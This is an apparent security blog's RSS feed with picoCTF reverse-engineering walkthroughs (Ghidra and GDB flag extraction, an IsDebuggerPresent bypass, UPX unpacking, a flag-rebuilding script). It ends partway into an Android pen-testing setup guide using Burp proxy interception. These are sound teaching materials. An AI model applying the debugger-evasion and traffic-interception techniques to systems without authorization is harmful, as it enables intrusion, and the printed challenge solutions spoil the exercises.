<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:atom="http://www.w3.org/2005/Atom"
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
  >
  <channel>
    <title xml:lang="en">HacksofDhruv</title>
    <atom:link type="application/atom+xml" href="https://hacksofdhruv.me/feed.xml" rel="self"/>
    <link>https://hacksofdhruv.me/</link>
    <pubDate>Sat, 04 Apr 2026 20:01:24 +0000</pubDate>
    <lastBuildDate>Sat, 04 Apr 2026 20:01:24 +0000</lastBuildDate>
    <language>en-US</language>
    <description>Security Research and Penetration Testing Blog</description>
    <image>
      <description>HacksofDhruv.me</description>
      <url>https://hacksofdhruv.me/img/hacksofdhruv-logo.webp</url>
      <title>HacksofDhruv</title>
      <link>https://hacksofdhruv.me/</link>
      <width>65</width>
      <height>70</height>
    </image>
    
      
        
        <item>
          <title>FactCheck CTF - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/picoCTF-FactCheck/</link>
          <pubDate>Fri, 02 Aug 2024 11:00:59 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          <category>reverse-engineering</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/picoCTF-FactCheck/</guid>
          <description>&lt;div class=&quot;rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt; Medium&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#description&quot; id=&quot;markdown-toc-description&quot;&gt;Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#open-it-in-disassembler&quot; id=&quot;markdown-toc-open-it-in-disassembler&quot;&gt;Open it in Disassembler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#extracting-flag&quot; id=&quot;markdown-toc-extracting-flag&quot;&gt;Extracting Flag&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;

&lt;p&gt;This binary is putting together some important piece of information… Can you uncover that information? Examine this file. Do you understand its inner workings? In this challenge, you are presented with an executable file named “bin”. Since it was a
64-bit ELF executable. When running the program, nothing is printed on the shell, and the process just terminates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://artifacts.picoctf.net/c_titan/191/bin&quot;&gt;Binary&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/factCheck/factcheck_des.webp&quot; alt=&quot;factcheck_des&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I ran the strings command and found an incomplete flag in the output. Adding hello world and closing the brackets didn’t work.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/factCheck/exec.png&quot; alt=&quot;exec&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I used Ghidra, an open-source binary analysis tool, to examine the disassembled code and gain insights into the compiled binary’s structure and functionality.&lt;/p&gt;

&lt;h2 id=&quot;open-it-in-disassembler&quot;&gt;Open it in Disassembler&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/factCheck/ghidra.png&quot; alt=&quot;ghidra&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I analyzed the file in Ghidra and found a main function with calls to std::allocator&amp;lt;char&amp;gt;. The code likely dynamically allocates memory for strings, but without further understanding, it’s difficult to determine its purpose.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/factCheck/decompile.png&quot; alt=&quot;decompile&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I found the allocator using the incomplete flag from the strings command. Clicking on it revealed additional characters at different memory addresses.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/factCheck/incomplete_flag.png&quot; alt=&quot;incomplete_flag&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I discovered the incomplete flag and other data stored in memory, including the strings “Hello” and “World.” After attempting to concatenate these elements to the flag and submitting it, I realized that the flag was likely being dynamically loaded during runtime.&lt;/p&gt;

&lt;p&gt;This led me to debug the code and identify a specific line ending with the character ‘}’ that appeared to be the point where the program completed writing the flag to memory. This insight was crucial in understanding the flag’s formation and ultimately solving the challenge.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/factCheck/incomplete_flag2.png&quot; alt=&quot;incomplete_flag2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Assembly view. 0x7d is the ascii value for the ‘}’ character&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/factCheck/assembly_view.png&quot; alt=&quot;assembly_view&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;extracting-flag&quot;&gt;Extracting Flag&lt;/h2&gt;

&lt;p&gt;Assuming RDI holds the memory location, I checked its contents before the CALL to find the missing piece.Then calculating the breakpoint address using relative addressing (main + 0x5D2) to account for runtime address changes.&lt;/p&gt;

&lt;p&gt;I used GDB to set a breakpoint at main + 0x5D2 and examined the instructions and RDI contents before and after the CALL.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/factCheck/flag.png&quot; alt=&quot;flag&quot; /&gt;&lt;/p&gt;

</description>
        </item>
        
      
    
      
        
        <item>
          <title>WinAntiDbg0x100 CTF - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/picoCTF-WinAntiDbg0x100/</link>
          <pubDate>Mon, 29 Jul 2024 11:00:59 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          <category>reverse-engineering</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/picoCTF-WinAntiDbg0x100/</guid>
          <description>&lt;div class=&quot;rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt; Medium&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#description&quot; id=&quot;markdown-toc-description&quot;&gt;Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#open-it-in-debugger&quot; id=&quot;markdown-toc-open-it-in-debugger&quot;&gt;Open it in Debugger&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#extracting-flag&quot; id=&quot;markdown-toc-extracting-flag&quot;&gt;Extracting Flag&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;

&lt;p&gt;This challenge will introduce you to ‘Anti-Debugging.’ Malware developers don’t like it when you attempt to debug their executable files because debugging these files reveals many of their secrets! That’s why, they include a lot of code logic specifically designed to interfere with your debugging process.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://artifacts.picoctf.net/c_titan/85/WinAntiDbg0x100.zip&quot;&gt;Binary&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/WinAntiDbg0x100/WinAntiDbg0x100_des.webp&quot; alt=&quot;WinAntiDbg0x100_des&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the challenge name and description we know that we will use a debugger on this challenge, But lets first run it and see what’ll happen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/WinAntiDbg0x100/exec.jpg&quot; alt=&quot;exec&quot; /&gt;&lt;/p&gt;

&lt;p&gt;ok, now lets open it using x32dbg&lt;/p&gt;

&lt;h2 id=&quot;open-it-in-debugger&quot;&gt;Open it in Debugger&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/WinAntiDbg0x100/x32dbg.webp&quot; alt=&quot;x32dbg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After we reach the EntryPoint lets search for strings in all user modules&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/WinAntiDbg0x100/x32dbg2.webp&quot; alt=&quot;x32dbg2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Lets jump to the string that looks like the “picoCTF” drawing and set a break point there&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/WinAntiDbg0x100/x32dbg3.webp&quot; alt=&quot;x32dbg3&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;extracting-flag&quot;&gt;Extracting Flag&lt;/h2&gt;

&lt;p&gt;We see that after some instruction there is a call for &lt;strong&gt;isDebuggerPresent&lt;/strong&gt; function, lets step until it and see how can we bypass this check&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/WinAntiDbg0x100/x32dbg4.webp&quot; alt=&quot;x32dbg4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We see that the function returned 1 and the jump won’t be taken because the ZeroFlag wasn’t set to 1, so we can easily bypass this by setting the ZeroFlag to 1 so we can take the jump.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/WinAntiDbg0x100/x32dbg5.webp&quot; alt=&quot;x32dbg5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;after some steps we see that the flag got decrypted and it’s visible to us.&lt;/p&gt;

</description>
        </item>
        
      
    
      
        
        <item>
          <title>packer CTF - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/picoCTF-packer/</link>
          <pubDate>Thu, 25 Jul 2024 11:00:59 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          <category>reverse-engineering</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/picoCTF-packer/</guid>
          <description>&lt;div class=&quot;rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt; Medium&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#description&quot; id=&quot;markdown-toc-description&quot;&gt;Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#unpack-the-file&quot; id=&quot;markdown-toc-unpack-the-file&quot;&gt;Unpack the file&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;

&lt;p&gt;In this challenge, you would be asked to reverse a linux executable. They provided a file
named “out”. It definitely seemed like an ELF executable, which is the main executable format for Linux binaries (Windows uses another
format, named PE).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://artifacts.picoctf.net/c_titan/101/out&quot;&gt;Binary&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/packer/packer_des.webp&quot; alt=&quot;packer&quot; /&gt;
We see one ELF File and It’s packed using UPX&lt;/p&gt;

&lt;h2 id=&quot;unpack-the-file&quot;&gt;Unpack the file&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/packer/unpack.webp&quot; alt=&quot;unpack&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Opening it in IDA and looking at main, it’s a Straightforward challenge we see the flag is hard coded in Hex.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/packer/ida1.webp&quot; alt=&quot;ida1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/packer/ida2.webp&quot; alt=&quot;ida2&quot; /&gt;&lt;/p&gt;

</description>
        </item>
        
      
    
      
        
        <item>
          <title>vault-door-1 CTF - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/picoCTF-vault-door-1/</link>
          <pubDate>Tue, 23 Jul 2024 11:00:59 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          <category>reverse-engineering</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/picoCTF-vault-door-1/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#description&quot; id=&quot;markdown-toc-description&quot;&gt;Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#extracting-flag&quot; id=&quot;markdown-toc-extracting-flag&quot;&gt;Extracting Flag&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;

&lt;p&gt;This vault uses some complicated arrays! I hope you can make sense of it, special agent. The source code for this vault is here:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://jupiter.challenges.picoctf.org/static/87e103a8db01087de9ccf5a7a022ddf8/VaultDoor1.java&quot;&gt;VaultDoor1.java&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;p&gt;We encountered another Java file that claimed to hide the flag in a more complex manner.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/vault-door-1/vault-door-1_des.png&quot; alt=&quot;vault-door-1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Upon inspecting the Java file using JD-GUI, a popular decompiler, we discovered a clever obfuscation technique. Each element within an array held a single character, and when these characters were sequentially concatenated, the hidden flag was revealed right before our eyes.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/vault-door-1/java_file.png&quot; alt=&quot;java_file&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;extracting-flag&quot;&gt;Extracting Flag&lt;/h2&gt;

&lt;p&gt;Below a python script that solve the challenge.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;myPass &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;None] &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; 32

myPass[0]  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;d&apos;&lt;/span&gt;
myPass[29] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;f&apos;&lt;/span&gt;
myPass[4]  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;r&apos;&lt;/span&gt;
myPass[2]  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;5&apos;&lt;/span&gt;
myPass[23] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;r&apos;&lt;/span&gt;
myPass[3]  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;c&apos;&lt;/span&gt;
myPass[17] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;4&apos;&lt;/span&gt;
myPass[1]  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;3&apos;&lt;/span&gt;
myPass[7]  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;b&apos;&lt;/span&gt;
myPass[10] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;_&apos;&lt;/span&gt;
myPass[5]  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;4&apos;&lt;/span&gt;
myPass[9]  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;3&apos;&lt;/span&gt;
myPass[11] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;t&apos;&lt;/span&gt;
myPass[15] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;c&apos;&lt;/span&gt;
myPass[8]  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;l&apos;&lt;/span&gt;
myPass[12] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;H&apos;&lt;/span&gt;
myPass[20] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;c&apos;&lt;/span&gt;
myPass[14] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;_&apos;&lt;/span&gt;
myPass[6]  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;m&apos;&lt;/span&gt;
myPass[24] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;5&apos;&lt;/span&gt;
myPass[18] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;r&apos;&lt;/span&gt;
myPass[13] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;3&apos;&lt;/span&gt;
myPass[19] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;4&apos;&lt;/span&gt;
myPass[21] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;T&apos;&lt;/span&gt;
myPass[16] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;H&apos;&lt;/span&gt;
myPass[27] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;3&apos;&lt;/span&gt;
myPass[30] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;3&apos;&lt;/span&gt;
myPass[25] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;_&apos;&lt;/span&gt;
myPass[22] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;3&apos;&lt;/span&gt;
myPass[28] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;e&apos;&lt;/span&gt;
myPass[26] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;6&apos;&lt;/span&gt;
myPass[31] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;a&apos;&lt;/span&gt;

print&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt; + &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;.join&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;myPass&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

</description>
        </item>
        
      
    
      
        
        <item>
          <title>vault-door-training CTF - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/picoCTF-vault-door-training/</link>
          <pubDate>Mon, 22 Jul 2024 11:00:59 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          <category>reverse-engineering</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/picoCTF-vault-door-training/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#description&quot; id=&quot;markdown-toc-description&quot;&gt;Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#extracting-flag&quot; id=&quot;markdown-toc-extracting-flag&quot;&gt;Extracting Flag&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;

&lt;p&gt;Your mission is to enter Dr. Evil’s laboratory and retrieve the blueprints for his Doomsday Project. The laboratory is protected by a series of locked vault doors. Each door is controlled by a computer and requires a password to open. Unfortunately, our undercover agents have not been able to obtain the secret passwords for the vault doors, but one of our junior agents obtained the source code for each vault’s computer! You will need to read the source code for each level to figure out what the password is for that vault door. As a warmup, we have created a replica vault in our training facility.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://jupiter.challenges.picoctf.org/static/03c960ddcc761e6f7d1722d8e6212db3/VaultDoorTraining.java&quot;&gt;VaultDoorTraining.java&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/vault-door-training/vault-door-training_des.png&quot; alt=&quot;vault-door-training_des&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;extracting-flag&quot;&gt;Extracting Flag&lt;/h2&gt;

&lt;p&gt;Upon examining the provided Java file using the JD-GUI decompiler, we were able to uncover the concealed flag. The flag, likely intended to be hidden or protected, was directly embedded within the source code itself.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/vault-door-training/flag.png&quot; alt=&quot;flag&quot; /&gt;&lt;/p&gt;

</description>
        </item>
        
      
    
      
        
        <item>
          <title>Android Pen Testing Environment Setup</title>
          <link>https://hacksofdhruv.me/blog/android-app-pen-testing-environment/</link>
          <pubDate>Sat, 20 Jul 2024 15:29:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Pen-Testing</category>
          
          <category>Mobile App Penetration Testing</category>
          
          <category>Mobile</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/android-app-pen-testing-environment/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#install-genymotion&quot; id=&quot;markdown-toc-install-genymotion&quot;&gt;Install GenyMotion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#setup-burp-proxy-with-genymotion&quot; id=&quot;markdown-toc-setup-burp-proxy-with-genymotion&quot;&gt;Setup Burp Proxy with GenyMotion&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#1-genymotion-burp-proxy-settings&quot; id=&quot;markdown-toc-1-genymotion-burp-proxy-settings&quot;&gt;1. GenyMotion Burp Proxy Settings&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#2-android-81-proxy-settings&quot; id=&quot;markdown-toc-2-android-81-proxy-settings&quot;&gt;2. Android 8.1 Proxy Settings&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#3-android-burp-certificate-installation&quot; id=&quot;markdown-toc-3-android-burp-certificate-installation&quot;&gt;3. Android Burp Certificate Installation&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#4-burp-proxy-settings&quot; id=&quot;markdown-toc-4-burp-proxy-settings&quot;&gt;4. Burp Proxy Settings&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#5-adb&quot; id=&quot;markdown-toc-5-adb&quot;&gt;5. ADB&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#6-installing-apk-files&quot; id=&quot;markdown-toc-6-installing-apk-files&quot;&gt;6. Installing APK FIles&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#7-adb-basic-commands&quot; id=&quot;markdown-toc-7-adb-basic-commands&quot;&gt;7. ADB Basic Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#8-open-gapps&quot; id=&quot;markdown-toc-8-open-gapps&quot;&gt;8. Open GApps&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This document covers the least exciting aspect of Android mobile app security testing, configuring the testing environment. It is both time consuming and an extremely important part of the assessment process to get right. This guide covers setup of GenyMotion with Burp Suite on Mac OS, but it should be trivial to replicate on Linux or Windows.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;install-genymotion&quot;&gt;Install GenyMotion&lt;/h2&gt;

&lt;p&gt;GenyMotion is the android emulator of choice for dynamic android app security testing.&lt;/p&gt;

&lt;p&gt;Installation on mac requires Virtual Box to be installed first, then run through the GenyMotion installer.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Install Android device (Nexus 4 works well)&lt;/li&gt;
  &lt;li&gt;Select Android 8.1 and deploy&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;setup-burp-proxy-with-genymotion&quot;&gt;Setup Burp Proxy with GenyMotion&lt;/h2&gt;

&lt;p&gt;If you are using DHCP you may want to statically assign an address, as the IP randomly changing requires this process to be completed again (which can get extremely annoying…).&lt;/p&gt;

&lt;h3 id=&quot;1-genymotion-burp-proxy-settings&quot;&gt;1. GenyMotion Burp Proxy Settings&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;Select GenyMotion&lt;/li&gt;
  &lt;li&gt;Preferences&lt;/li&gt;
  &lt;li&gt;Network&lt;/li&gt;
  &lt;li&gt;Proxy Settings and tick HTTP and add your local interface address and a different port to one that Burp is using&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/img/android-pen-testing-env-01.png&quot; alt=&quot;Geny Motion Burp Proxy Settings&quot; title=&quot;Geny Motion Burp Proxy Settings&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;2-android-81-proxy-settings&quot;&gt;2. Android 8.1 Proxy Settings&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;Swipe down the top and select Settings&lt;/li&gt;
